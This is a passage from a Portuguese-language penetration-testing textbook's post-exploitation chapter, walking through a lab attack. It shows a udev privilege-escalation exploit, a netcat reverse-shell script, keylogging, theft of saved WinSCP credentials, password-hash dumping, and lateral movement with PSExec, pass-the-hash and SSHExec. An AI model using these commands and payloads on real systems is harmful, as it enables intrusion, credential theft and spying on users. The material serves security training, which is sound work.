["352 Testes de invas\u00e3o problema do udev, o gerenciador de dispositivos do kernel do Linux, respons\u00e1vel pela carga dos device drivers, ou seja, dos softwares que facilitam o controle de um dispositivo. A vulnerabilidade CVE-2009-1185 descreve um problema no udev em que o daemon, que \u00e9 executado com privil\u00e9gios de root, falha ao verificar se as solici- ta\u00e7\u00f5es para carregar os drivers tiveram origem no kernel. Os processos no espa\u00e7o do usu\u00e1rio, como aqueles iniciados por um usu\u00e1rio, podem enviar mensagens ao udev e convenc\u00ea-lo a executar um c\u00f3digo com privil\u00e9gios de root. De acordo com a entrada relativa a essa vulnerabilidade em SecurityFocus.com, o Ubuntu 8.10 \u00e9 uma das plataformas afetadas, e uma pesquisa mais detalhada revela que a vers\u00e3o141e as mais antigas do udev sofrem desse problema. Podemos verificar a vers\u00e3o do udev em nosso alvo por meio do comando udevadm --version, por\u00e9m n\u00e3o podemos executar o comando com os privil\u00e9gios concedidos por www-data. Em vez disso, devemos execut\u00e1-lo a partir de nosso shell SSH, como mostrado aqui: georgia@ubuntu:~$ udevadm --version 124 A vers\u00e3o do udev em nosso alvo \u00e9 a 124, que \u00e9 anterior a 141, o que nos informa que o nosso alvo Linux \u00e9 vulner\u00e1vel. Encontrando um exploit O Kali Linux inclui um reposit\u00f3rio local de c\u00f3digos p\u00fablicos de exploit de Exploitdb.\u200b com em \/usr\/share\/exploitdb; esse reposit\u00f3rio inclui um utilit\u00e1rio chamado searchsploit, que podemos usar para procurar um c\u00f3digo que seja \u00fatil. Por exemplo, a listagem13.13 mostra o resultado de uma pesquisa de exploits relacionados ao udev. Listagem 13.13 \u2013 Pesquisando o reposit\u00f3rio Exploitdb root@kali:~# \/usr\/share\/exploitdb\/searchsploit udev Description Path ---------------------------------------------------------------------- ---------------------- Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit \/linux\/local\/8478.sh Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit \/linux\/local\/8572.c Linux udev Netlink Local Privilege Escalation \/linux\/local\/21848.rb Parece haver v\u00e1rios exploits p\u00fablicos para esse problema. Vamos usar o segundo exploit, ou seja, \/usr\/share\/exploitdb\/platforms\/linux\/local\/8572.c.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 353 N O T A \tCertifique-se de compreender totalmente o que o c\u00f3digo de um exploit p\u00fablico faz antes de execut\u00e1-lo em um alvo. Al\u00e9m do mais, h\u00e1 sempre uma chance de que um exploit p\u00fablico possa n\u00e3o executar de forma confi\u00e1vel no alvo. Se poss\u00edvel, instale um computador para servir de laborat\u00f3rio e teste a qualidade do exploit antes de experiment\u00e1-lo no alvo do cliente. Um dos aspectos bem positivos desse exploit \u00e9 que ele \u00e9 bem comentado e oferece informa\u00e7\u00f5es detalhadas de uso. A listagem 13.14 mostra um excerto de seu c\u00f3digo C, que inclui detalhes sobre o uso. Listagem 13.14 \u2013 Informa\u00e7\u00f5es de uso do exploit para o udev * Usage: * Pass the PID of the udevd netlink socket (listed in \/proc\/net\/netlink, * usually is the udevd PID minus 1) as argv[1]. * The exploit will execute \/tmp\/run as root so throw whatever payload you * want in there. Ficamos sabendo que \u00e9 necess\u00e1rio passar o PID do socket netlink do udev como argumento para o nosso exploit. As informa\u00e7\u00f5es de uso dizem que esse valor deve ser procurado em \/proc\/net\/netlink, geralmente como o PID do udev menos 1. Tamb\u00e9m vemos que o exploit executar\u00e1 qualquer c\u00f3digo que encontrar no arquivo \/tmp\/run como root, portanto devemos colocar algum c\u00f3digo ali. Copiando e compilando o exploit no alvo Inicialmente, devemos copiar o exploit para o nosso alvo e compil\u00e1-lo para que ele possa ser executado. Felizmente, o compilador C GCC j\u00e1 vem pr\u00e9-instalado na maioria das distribui\u00e7\u00f5es Linux, portanto, normalmente ser\u00e1 poss\u00edvel compilar o c\u00f3digo de um exploit local diretamente no alvo. Para descobrir se o GCC est\u00e1 instalado, digite gcc, como mostrado aqui. georgia@ubuntu:~$ gcc gcc: no input files Como podemos ver, o GCC reclama que n\u00e3o recebeu nenhuma entrada, por\u00e9m isso nos informa que ele est\u00e1 presente.Agora copie o c\u00f3digo de nosso exploit para o alvo Linux. O comando wget do Linux permite usar a linha de comando para baixar um arquivo de um servidor web, portanto vamos copiar o c\u00f3digo C para o servidor web do nosso Kali Linux, conforme mostrado aqui. Certifique-se de que o servidor web apache2 esteja executando no Kali. root@kali:~# cp \/usr\/share\/exploitdb\/platforms\/linux\/local\/8572.c \/var\/www","354 Testes de invas\u00e3o Agora v\u00e1 para o shell SSH e fa\u00e7a o download do arquivo usando wget, como mos- trado na listagem 13.15. Listagem 13.15 \u2013 Usando o wget para fazer o download de um arquivo georgia@ubuntu:~$ wget http:\/\/192.168.20.9\/8572.c --2015-08-14 14:30:51-- http:\/\/192.168.20.9\/8572.c Connecting to 10.0.1.24:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2768 (2.7K) [text\/x-csrc] Saving to: `8572.c' 100%[======================================>] 2,768 --.-K\/s in 0s 2015-08-14 14:30:52 (271 MB\/s) - `8572.c' saved [2768\/2768] Agora compile o c\u00f3digo do exploit com o GCC no alvo Linux, como mostrado aqui. Utilize a flag -o para especificar o nome de um arquivo de sa\u00edda para o c\u00f3digo compilado. georgia@ubuntu:~$ gcc -o exploit 8572.c Agora vamos descobrir aquele PID do socket netlink do udev mencionado nas informa\u00e7\u00f5es de uso do exploit (listagem 13.14) para usar como nosso argumento. As informa\u00e7\u00f5es de uso indicaram que o PID de que precisamos est\u00e1 listado em \/proc\/net\/netlink. Fa\u00e7a o cat do arquivo, como mostrado na listagem 13.16. Listagem 13.16 \u2013 O arquivo \/proc\/net\/netlink georgia@ubuntu:~$ cat \/proc\/net\/netlink sk Eth Pid Groups Rmem Wmem Dump Locks 00000000 2 f7a90e00 0 5574 00000111 0 0 00000000 2 00000000 2 da714400 0 6476 00000001 0 0 00000000 2 da714c00 0 4200780 00000000 0 0 00000000 2 00000000 2 --trecho omitido-- f7842e00 15 2468 00000001 0 0 f75d5c00 16 0 00000000 0 0 f780f600 18 0 00000000 0 0 H\u00e1 mais de um PID listado, por\u00e9m sabemos que o PID de que precisamos nor- malmente \u00e9 o PID do daemon udev menos 1. D\u00ea uma olhada no processo udev por meio do comando ps aux, como mostrado aqui.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 355 georgia@ubuntu:~$ ps aux | grep udev S<s 02:27 0:00 \/sbin\/udevd --daemon root 2469 0.0 0.0 2452 980 ? S+ 14:36 0:00 grep udev georgia 3751 0.0 0.0 3236 792 pts\/1 O PID do daemon udev \u00e9 2469. Um dos PIDs da listagem 13.16 \u00e9 2468 (o PID do udev menos 1). De acordo com as informa\u00e7\u00f5es de ajuda do exploit, esse \u00e9 o valor de que precisamos. Esse valor mudar\u00e1 se reiniciarmos o alvo Ubuntu, portanto execute esses comandos em seu pr\u00f3prio laborat\u00f3rio para descobrir o valor correto. Adicionando c\u00f3digo ao arquivo \/tmp\/run O \u00faltimo item de que precisamos \u00e9 um c\u00f3digo a ser executado como root no arquivo \/tmp\/run. Felizmente, tamb\u00e9m temos o Netcat instalado em nosso sistema Ubuntu por padr\u00e3o, portanto podemos criar um script Bash simples para nos conectarmos de volta ao nosso sistema Kali, conforme discutido no cap\u00edtulo 2.Aqui est\u00e1 o script. georgia@ubuntu:~$ cat \/tmp\/run #!\/bin\/bash nc 192.168.20.9 12345 -e \/bin\/bash Antes de executar o nosso exploit, devemos configurar um listener em nosso sistema Kali para capturar o shell Netcat de entrada. root@kali:~# nc -lvp 12345 listening on [any] 12345 ... Finalmente, estamos prontos para executar o nosso exploit compilado. Lembre-se de passar como argumento o PID do socket netlink do udev descoberto ante- riormente. georgia@ubuntu:~$ .\/exploit 2468 Parece que nada aconteceu no alvo Linux, por\u00e9m, se voc\u00ea observar o Netcat listener no Kali, ver\u00e1 que temos uma conex\u00e3o. O comando whoami informa que agora temos privil\u00e9gios de root, como mostrado na listagem 13.17. Listagem 13.17 \u2013 Obtendo privil\u00e9gios de root root@kali:~# nc -lvp 12345 listening on [any] 12345 ... 192.168.20.11: inverse host lookup failed: Unknown server error : Connection timed out connect to [192.168.20.9] from (UNKNOWN) [192.168.20.11] 33191 whoami root Escalamos nossos privil\u00e9gios com sucesso usando um exploit p\u00fablico.","356 Testes de invas\u00e3o Coleta de informa\u00e7\u00f5es locais Ap\u00f3s termos acesso a um sistema, devemos ver se h\u00e1 alguma informa\u00e7\u00e3o poten- cialmente sens\u00edvel, por exemplo, softwares instalados que armazenem senhas em formato texto simples ou que usem um algoritmo de hashing fraco, dados proprie- t\u00e1rios ou c\u00f3digos-fonte, informa\u00e7\u00f5es de cart\u00f5es de cr\u00e9dito de consumidores ou a conta de email do CEO. Essas informa\u00e7\u00f5es s\u00e3o \u00fateis para serem apresentadas no relat\u00f3rio final ao cliente. Al\u00e9m do mais, qualquer informa\u00e7\u00e3o que encontrarmos pode ajudar na invas\u00e3o de outros sistemas da rede que podem armazenar infor- ma\u00e7\u00f5es mais comprometedoras ainda. Daremos uma olhada em como nos movermos de um sistema para outro pos- teriormente neste cap\u00edtulo, mas, por enquanto, vamos ver algumas maneiras interessantes de descobrir informa\u00e7\u00f5es no sistema local. Procurando arquivos Podemos dizer ao Meterpreter para procurar arquivos interessantes. Por exemplo, na listagem13.18, ordenei ao Meterpreter que procurasse qualquer nome de arquivo que contenha a palavra password. Listagem 13.18 \u2013 Usando o Meterpreter para procurar arquivos meterpreter > search -f *password* Found 8 results... c:\\\\\\\\WINDOWS\\\\Help\\\\password.chm (21891 bytes) c:\\\\\\\\xampp\\\\passwords.txt (362 bytes) c:\\\\\\\\xampp\\\\php\\\\PEAR\\\\Zend\\\\Dojo\\\\Form\\\\Element\\\\PasswordTextBox.php (1446 bytes) c:\\\\\\\\xampp\\\\php\\\\PEAR\\\\Zend\\\\Dojo\\\\View\\\\Helper\\\\PasswordTextBox.php (1869 bytes) c:\\\\\\\\xampp\\\\php\\\\PEAR\\\\Zend\\\\Form\\\\Element\\\\Password.php (2383 bytes) c:\\\\\\\\xampp\\\\php\\\\PEAR\\\\Zend\\\\View\\\\Helper\\\\FormPassword.php (2942 bytes) c:\\\\\\\\xampp\\\\phpMyAdmin\\\\user_password.php (4622 bytes) c:\\\\\\\\xampp\\\\phpMyAdmin\\\\libraries\\\\display_change_password.lib.php (3467 bytes) Keylogging (registro de teclas) Outra maneira de coletar informa\u00e7\u00f5es \u00e9 permitir que o usu\u00e1rio logado as forne\u00e7a para voc\u00ea, por assim dizer. O Meterpreter cont\u00e9m um keylogger (registrador de teclas) que podemos usar para registrar as teclas digitadas. Quem sabe o usu- \u00e1rio fa\u00e7a login em sites ou em outros sistemas da rede enquanto nossa sess\u00e3o","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 357 Meterpreter estiver ativa. Inicie o keylogger na sess\u00e3o Meterpreter do Windows XP digitando keyscan_start, como mostrado aqui: meterpreter > keyscan_start Starting the keystroke sniffer... N O T A \tAs teclas digitadas ser\u00e3o capturadas somente em seu contexto corrente. Em meu exemplo, usei minha sess\u00e3o original do Windows XP, em que sou o usu\u00e1rio georgia no processo explorer.exe e, sendo assim, posso detectar as teclas digitadas por georgia. Outra ideia interessante consiste em migrar para o processo winlogon, em que voc\u00ea ver\u00e1 somente as informa\u00e7\u00f5es de login digitadas que, certamente, s\u00e3o informa\u00e7\u00f5es \u00fateis. Agora v\u00e1 para o Windows XP e digite algo. Em meu exemplo, digitei Ctrl-R para abrir o di\u00e1logo Run (Executar). Em seguida, inseri notepad.exe para iniciar o programa Notepad e digitei hi georgia nesse aplicativo. Para ver qualquer tecla digitada que o keylogger tenha registrado, digite keyscan_dump, conforme mostrado aqui. Como voc\u00ea pode notar, todas as teclas que digitei foram registradas. meterpreter > keyscan_dump Dumping captured keystrokes... <LWin> notepad.exe <Return> hi georgia <Return> Para interromper o keylogger,digite keyscan_stop no Meterpreter,como mostrado aqui: meterpreter > keyscan_stop Stopping the keystroke sniffer... Obtendo credenciais No cap\u00edtulo 9, trabalhamos com hashes de senha do Windows, do Linux e do servidor FTP FileZilla, por\u00e9m os usu\u00e1rios podem ter outras credenciais armazenadas em seus sistemas locais. O Metasploit cont\u00e9m diversos m\u00f3dulos de p\u00f3s-explora\u00e7\u00e3o de falhas para coleta de senhas de softwares espec\u00edficos em \/usr\/share\/metasploit-framework\/modules\/post\/windows\/gather\/credentials. Em nosso exemplo, daremos uma olhada no roubo de credenciais armazenadas pelo WinSCP, uma ferramenta segura de c\u00f3pia do Windows. Conforme mostrado na figura13.1, abra o WinSCP, defina File protocol (Protocolo de arquivo) para SCP, o Host name (Nome do host) com o endere\u00e7o IP do alvo Ubuntu e as credenciais com georgia:password. Clique em Save As (Salvar como) abaixo das informa\u00e7\u00f5es de login.","358 Testes de invas\u00e3o Figura 13.1 \u2013 Conectando-se ao WinSCP. N O T A \tAssim como em outras ferramentas utilizadas neste livro, a GUI do WinSCP poder\u00e1 estar atualizada no futuro, portanto sua vers\u00e3o poder\u00e1 n\u00e3o se parecer exatamente como essa. Voc\u00ea ser\u00e1 solicitado a fornecer um nome de sess\u00e3o, como mostrado na figura 13.2. Marque a caixa Save password (Salvar senha) antes de clicar em OK. At\u00e9 mesmo o WinSCP avisa que salvar senhas n\u00e3o \u00e9 uma boa ideia. Agora retorne ao Kali Linux e utilize o m\u00f3dulo post\/windows\/gather\/credentials\/winscp, como mostrado na listagem 13.19. Como esse \u00e9 um m\u00f3dulo de p\u00f3s-explora\u00e7\u00e3o de falhas, a \u00fanica op\u00e7\u00e3o que dever\u00e1 ser fornecida \u00e9 o ID da sess\u00e3o do Windows XP. Listagem 13.19 \u2013 Roubando as credenciais armazenadas no WinSCP msf > use post\/windows\/gather\/credentials\/winscp msf post(winscp) > show options Module options (post\/windows\/gather\/credentials\/winscp): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 359 msf post(winscp) > set session 1 session => 1 msf post(winscp) > exploit [*] Looking for WinSCP.ini file storage... [*] WinSCP.ini file NOT found... [*] Looking for Registry Storage... [*] Host: 192.168.20.9 Port: 22 Protocol: SSH Username: georgia Password: password \uf075 [*] Done! [*] Post module execution completed Conforme mostrado na listagem13.19, o m\u00f3dulo descobre nossas credenciais salvas \uf075. De acordo com os softwares que os clientes de seu teste de invas\u00e3o estiverem executando, pode haver outros alvos para obten\u00e7\u00e3o de credenciais, que vir\u00e3o a calhar em campo. Figura 13.2 \u2013 Salvando credenciais no WinSCP.","360 Testes de invas\u00e3o Comandos net O comando net do Windows permite visualizar e editar informa\u00e7\u00f5es de rede. Ao usar diversas op\u00e7\u00f5es, podemos obter informa\u00e7\u00f5es valiosas. V\u00e1 para um shell de comandos do Windows usando o shell de comandos do Meterpreter, como mostrado aqui. meterpreter > shell --trecho omitido-- Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\\\\Windows\\\\system32> O comando net users nos mostrar\u00e1 todos os usu\u00e1rios locais. A inser\u00e7\u00e3o da palavra \/domain no final desse e de v\u00e1rios comandos net far\u00e1 com que sejam mostradas in- forma\u00e7\u00f5es sobre o dom\u00ednio, em vez de informa\u00e7\u00f5es sobre o sistema local, por\u00e9m, como nossos alvos n\u00e3o est\u00e3o associados a um dom\u00ednio, vamos nos ater ao net users. C:\\\\Windows\\\\system32> net users net users User accounts for \\\\\\\\ ------------------------------------------------------------------------------ Administrator georgia secret Guest Tamb\u00e9m podemos ver os membros de um grupo por meio do comando net localgroup grupo, como mostrado na listagem 13.20. Listagem 13.20 \u2013 Visualizando os administradores locais por meio de comandos net C:\\\\Windows\\\\system32> net localgroup Administrators net localgroup Administrators Alias name Administrators Comment Administrators have complete and unrestricted access to the computer\/domain Members ----------------------------------------------------------------------------------------------- Administrator georgia secret The command completed successfully. Para sair do shell e retornar ao Meterpreter, digite exit. Esses foram somente alguns exemplos dos comandos net \u00fateis.Daremos uma olhada no uso de comandos net para adicionar um usu\u00e1rio, mais adiante neste cap\u00edtulo.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 361 Outra maneira de acessar um sistema No cap\u00edtulo 5, utilizamos o Nmap para executar um scan UDP. Por defini\u00e7\u00e3o, scans UDP n\u00e3o s\u00e3o t\u00e3o precisos quanto os scans TCP. Por exemplo, a porta 69\/UDP no alvo Windows\u00a0XP, que \u00e9 tradicionalmente a porta do TFTP, retornou open|filtered em nosso scan UDP com o Nmap. Pelo fato de nosso scan n\u00e3o ter recebido ne- nhuma resposta, n\u00e3o ficou claro se havia algum software ouvindo a porta. Exceto por confundir o servidor TFTP e possivelmente causar-lhe uma falha, seria dif\u00edcil determinar que software TFTP est\u00e1 executando, se houver algum.Agora que temos acesso ao sistema, podemos investigar melhor os softwares em execu\u00e7\u00e3o em busca de qualquer vulnerabilidade que tenha passado despercebida. N O T A \tAnteriormente no cap\u00edtulo, usamos o comando ps do Meterpreter para ver todos os processos em execu\u00e7\u00e3o no alvo Windows XP. Um desses processos era o 3CTftpSvc.exe, uma vers\u00e3o mais antiga do servi\u00e7o TFTP da 3Com, que est\u00e1 sujeito a uma condi\u00e7\u00e3o de buffer overflow no modo de transporte longo do TFTP. (Criaremos um exploit manualmente para esse problema no cap\u00edtulo 19, por\u00e9m h\u00e1 um m\u00f3dulo no Metasploit para esse problema tamb\u00e9m.) Embora fosse dif\u00edcil para um invasor identificar esse problema remotamente, o software continua vulner\u00e1vel e devemos inclu\u00ed-lo em nosso relat\u00f3rio de teste de invas\u00e3o. Pode ser que voc\u00ea n\u00e3o descubra uma vulnerabilidade acess\u00edvel pela rede at\u00e9 ter conseguido um acesso ao sistema. Sem enviar dados TFTP aleat\u00f3rios ao servidor e analisar os resultados, seria dif\u00edcil para n\u00f3s descobrirmos esse problema. Verificando o hist\u00f3rico do Bash Um local para procurar informa\u00e7\u00f5es potencialmente interessantes em um sistema Linux \u00e9 o hist\u00f3rico do Bash de um usu\u00e1rio. Quando um shell Bash \u00e9 encerra- do, os comandos que foram executados s\u00e3o gravados em um arquivo chamado .bash_history no diret\u00f3rio home do usu\u00e1rio. Um exemplo talvez um tanto for\u00e7ado, em que a senha do usu\u00e1rio \u00e9 salva em formato texto simples no arquivo de his- t\u00f3rico do Bash, est\u00e1 sendo mostrado aqui: georgia@ubuntu:~$ cat .bash_history my password is password --trecho omitido--","362 Testes de invas\u00e3o Movimento lateral Depois que tivermos acesso a um sistema em um ambiente em rede, \u00e9 poss\u00edvel us\u00e1-lo para acessar sistemas adicionais e outros dados sens\u00edveis? Se o nosso sistema explorado for membro de um dom\u00ednio, certamente podemos tentar comprometer uma conta do dom\u00ednio ou, de modo ideal, obter acesso de administrador do do- m\u00ednio para que possamos fazer login e administrar todos os sistemas do dom\u00ednio. Contudo, mesmo se n\u00e3o for poss\u00edvel obter o controle de um dom\u00ednio, voc\u00ea ainda poder\u00e1 acessar os sistemas desse dom\u00ednio se todos eles tiverem sido instalados a partir da mesma imagem de instala\u00e7\u00e3o do sistema, com a mesma senha de administrador local que jamais foi alterada. Se pudermos quebrar essa senha em um dos computadores, podemos fazer login em diversas m\u00e1quinas do ambiente sem ter acesso ao dom\u00ednio. Al\u00e9m disso, se um usu\u00e1rio tiver uma conta em v\u00e1rios sistemas, pode ser que a mesma senha esteja sendo usada em todos os sistemas, o que poder\u00e1 permitir que fa\u00e7amos login usando as credenciais descobertas em outro local no ambiente. (Boas pol\u00edticas de senha ajudam a evitar esse tipo de vulnerabilidade, por\u00e9m as senhas, com frequ\u00eancia, representam o elo mais fraco, mesmo em ambientes altamente seguros.) Vamos dar uma olhada em algumas t\u00e9cnicas para transformar o acesso a um sistema no acesso a v\u00e1rios sistemas. PSExec A t\u00e9cnica do PSExec teve origem no conjunto de ferramenta de gerenciamento Sysinternals do Windows no final dos anos 90. O utilit\u00e1rio funcionava usando credenciais v\u00e1lidas para se conectar ao compartilhamento ADMIN$ no servidor SMB do Windows XP. O PSExec carrega o execut\u00e1vel de um servi\u00e7o do Windows no compartilhamento ADMIN$ e, em seguida, conecta-se ao Windows Service Control Manager (Gerenciador de controle de servi\u00e7os do Windows) por meio de RPC (Remote Procedure Call, ou Chamada de procedimento remoto) para iniciar o servi\u00e7o execut\u00e1vel. O servi\u00e7o ent\u00e3o configura um SMB chamado pipe para enviar comandos e controlar remotamente o sistema-alvo. O m\u00f3dulo exploit\/windows\/smb\/psexec do Metasploit implementa uma t\u00e9cnica bem semelhante. O m\u00f3dulo exige um servidor SMB em execu\u00e7\u00e3o no alvo e credenciais que deem acesso ao compartilhamento ADMIN$.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 363 No cap\u00edtulo 9, quebramos as hashes de senha dos usu\u00e1rios de nosso alvo Windows XP. Provavelmente, voc\u00ea pode se imaginar usando as credenciais des- cobertas e o PSExec para obter acesso a sistemas adicionais. Utilize as credenciais georgia:password com o m\u00f3dulo PSExec, como mostrado na listagem 13.21. Listagem 13.21 \u2013 Utilizando o m\u00f3dulo PSExec msf > use exploit\/windows\/smb\/psexec msf exploit(psexec) > show options Module options (exploit\/windows\/smb\/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SHARE ADMIN$ yes The share to connect to, can be an admin share share (ADMIN$,C$,...) or a normal read\/write folder SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as msf exploit(psexec) > set RHOST 192.168.20.10 RHOST => 10.0.1.13 msf exploit(psexec) > set SMBUser georgia\uf075 SMBUser => georgia msf exploit(psexec) > set SMBPass password\uf076 SMBPass => password msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.20.9:4444 [*] Connecting to the server... [*] Authenticating to 192.168.20.10:445|WORKGROUP as user 'georgia'... [*] Uploading payload... [*] Created \\\\KoMknErc.exe... --trecho omitido-- [*] Meterpreter session 6 opened (192.168.20.9:4444 -> 192.168.20.10:1173) at 2015-08-14 14:13:40 -0400 Al\u00e9m de RHOST, devemos informar ao m\u00f3dulo qual \u00e9 o SMBDomain, o SMBUser e o SMBPass a serem usados. Nosso alvo Windows XP n\u00e3o \u00e9 membro de um dom\u00ednio, portanto podemos deixar a op\u00e7\u00e3o SMBDomain com o valor default, que \u00e9 WORKGROUP.","364 Testes de invas\u00e3o Defina SMBUser com georgia \uf075 e SMBPass com password \uf076, que correspondem \u00e0s credenciais que descobrimos. Em seguida, execute o m\u00f3dulo de exploit. O m\u00f3dulo inclui o payload selecionado (nesse caso, o default windows\/meterpreter\/reverse_tcp) no execut\u00e1vel da imagem de um servi\u00e7o Windows. Depois de carregar o execut\u00e1vel e contatar o Windows Service Control Manager, o servi\u00e7o copia o shellcode para a mem\u00f3ria execut\u00e1vel do processo associado ao servi\u00e7o e redireciona a execu\u00e7\u00e3o para o payload. Desse modo, nosso payload \u00e9 executado e se conecta de volta ao listener do Metasploit no Kali. Apesar de estamos logados com o usu\u00e1rio georgia, pelo fato de nosso payload estar executando como um servi\u00e7o do sistema, nossa sess\u00e3o ter\u00e1 automaticamente privil\u00e9gios de sistema. N O T A \t\u00c9 por esse motivo que fizemos a altera\u00e7\u00e3o na Pol\u00edtica de Seguran\u00e7a do Windows XP no cap\u00edtulo 1. Se o Windows XP fosse membro de um dom\u00ednio, poder\u00edamos preencher a op\u00e7\u00e3o SMBDomain e usar o PSExec para obter acesso de System em qualquer sistema em que o usu\u00e1rio do dom\u00ednio fosse um administrador local. Essa \u00e9 uma \u00f3tima maneira de se deslocar por uma rede \u00e0 procura de informa\u00e7\u00f5es interessantes, hashes adicionais de senha e outras vulnerabilidades. Pass the Hash (Passe a hash) Nosso ataque anterior contou com nossa habilidade de reverter a hash de senha e obter acesso \u00e0 senha em formato texto simples de uma conta de usu\u00e1rio. \u00c9 claro que, no caso de nosso alvo Windows XP, isso \u00e9 trivial, pois ele usa o algoritmo de hashing LM, que \u00e9 totalmente pass\u00edvel de cracking. No cap\u00edtulo 9, aprendemos que, quando tivermos somente a hash de senha NTLM de autentica\u00e7\u00e3o de usu\u00e1rio, em vez de ter a vers\u00e3o LM, mais fraca, nossa capacidade de reverter a hash em um per\u00edodo razo\u00e1vel de tempo depender\u00e1 da falta de robustez da senha, da robustez de nossa lista de palavras e at\u00e9 mesmo dos algoritmos empregados pelo programa de cracking de senha. Se n\u00e3o pudermos reverter a hash da senha, teremos muita dificuldade para fazer login em outros sistemas com credenciais em formato texto simples. O PSExec novamente vem para nos salvar. Quando um usu\u00e1rio fizer login no SMB, sua senha n\u00e3o \u00e9 enviada ao alvo em formato texto simples. Em vez disso, o sistema-alvo lan\u00e7a um desafio que poder\u00e1 ser respondido somente por algu\u00e9m que tenha a senha correta. Nesse caso, a resposta ao desafio corresponde \u00e0 hash LM ou NTLM da senha, conforme a implementa\u00e7\u00e3o.","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 365 Quando voc\u00ea fizer login em um sistema remoto, sua aplica\u00e7\u00e3o Windows chama- r\u00e1 um utilit\u00e1rio para criar a hash da senha, e essa hash ser\u00e1 enviada ao sistema remoto para ser autenticada. O sistema remoto sup\u00f5e que, se a senha correta foi enviada, voc\u00ea deve ter acesso \u00e0 senha correta em formato texto simples \u2013 afinal de contas, esse \u00e9 um dos fundamentos das fun\u00e7\u00f5es hash unidirecionais. Voc\u00ea consegue pensar em um cen\u00e1rio em que seja poss\u00edvel ter acesso a hashes de senha, mas n\u00e3o \u00e0s senhas em formato texto simples? No cap\u00edtulo 9, pudemos reverter todas as hashes de senha de nossos sistemas- alvo. Al\u00e9m disso, em nosso alvo Windows XP, pudemos reverter as hashes LM, independentemente da robustez da senha. No entanto vamos simular uma situ- a\u00e7\u00e3o em que tenhamos somente as hashes das senhas, conforme mostrado pelo comando hashdump do Meterpreter na listagem 13.22. Listagem 13.22 \u2013 Usando o hashdump meterpreter > hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: georgia:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:93880b42019f250cd197b67718ac9a3d:86da9cefbdedaf62b66d9b2fe8816c1f::: secret:1004:e52cac67419a9a22e1c7c53891cb0efa:9bff06fe611486579fb74037890fda96::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:6f552ba8b5c6198ba826d459344ceb14::: N O T A \tAo usar o comando hashdump do Meterpreter em sistemas operacionais Windows mais recentes, voc\u00ea poder\u00e1 descobrir que ele falhar\u00e1. Uma alternativa est\u00e1 no m\u00f3dulo de p\u00f3s-explora\u00e7\u00e3o de falhas post\/windows\/ gather\/hashdump. H\u00e1 ainda o post\/windows\/gather\/smart_hashdump, que pode n\u00e3o s\u00f3 coletar hashes locais, mas tamb\u00e9m diret\u00f3rios de hashes ativas, se um controlador de dom\u00ednio tiver sido explorado. Portanto, se voc\u00ea n\u00e3o for inicialmente bem-sucedido em efetuar o dumping de hashes de senha em um teste de invas\u00e3o, explore op\u00e7\u00f5es adicionais. Vamos usar o m\u00f3dulo PSExec do Metasploit para tirar vantagem do modo como o SMB faz a autentica\u00e7\u00e3o e de uma t\u00e9cnica chamada Pass the Hash (Passe a hash). Em vez de definir a op\u00e7\u00e3o SMBPass com a senha de georgia, copie as hashes LM e NTLM de georgia, obtidas pelo hashdump na listagem 13.23, para a op\u00e7\u00e3o SMBPass.","366 Testes de invas\u00e3o Listagem 13.23 \u2013 Passe a hash com o PSExec msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit --trecho omitido-- [*] Meterpreter session 7 opened (192.168.20.9:4444 -> 192.168.20.10:1233) at 2015-08-14 14:17:47 -0400 Mais uma vez, pudemos usar o PSExec para obter uma sess\u00e3o Meterpreter. Mesmo sem conhecer a senha em formato texto simples, apenas a hash pode ser suficiente para obter acesso a outros sistemas do ambiente usando o PSExec. SSHExec Assim como o PSExec no Windows, podemos usar o SSHExec para nos deslocar- mos pelos sistemas Linux de um ambiente se tivermos pelo menos um conjunto de credenciais v\u00e1lidas, que tenham chances de funcionar em outros pontos do ambiente. O m\u00f3dulo multi\/ssh\/sshexec do Metasploit e suas op\u00e7\u00f5es est\u00e3o sendo mostrados na listagem 13.24. Listagem 13.24 \u2013 Usando o SSHExec msf > use exploit\/multi\/ssh\/sshexec msf exploit(sshexec) > show options Module options (exploit\/multi\/ssh\/sshexec): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes The password to authenticate with. RHOST yes The target address RPORT 22 yes The target port USERNAME root yes The user to authenticate as. --trecho omitido-- msf exploit(sshexec) > set RHOST 192.168.20.11 RHOST => 192.168.20.11 msf exploit(sshexec) > set USERNAME georgia\uf075 USERNAME => georgia msf exploit(sshexec) > set PASSWORD password\uf076 PASSWORD => password","Cap\u00edtulo 13 \u25a0 P\u00f3s-explora\u00e7\u00e3o de falhas 367 msf exploit(sshexec) > show payloads --trecho omitido-- linux\/x86\/meterpreter\/reverse_tcp normal Linux Meterpreter, Reverse TCP Stager --trecho omitido-- msf exploit(sshexec) > set payload linux\/x86\/meterpreter\/reverse_tcp payload => linux\/x86\/meterpreter\/reverse_tcp msf exploit(sshexec) > set LHOST 192.168.20.9 LHOST => 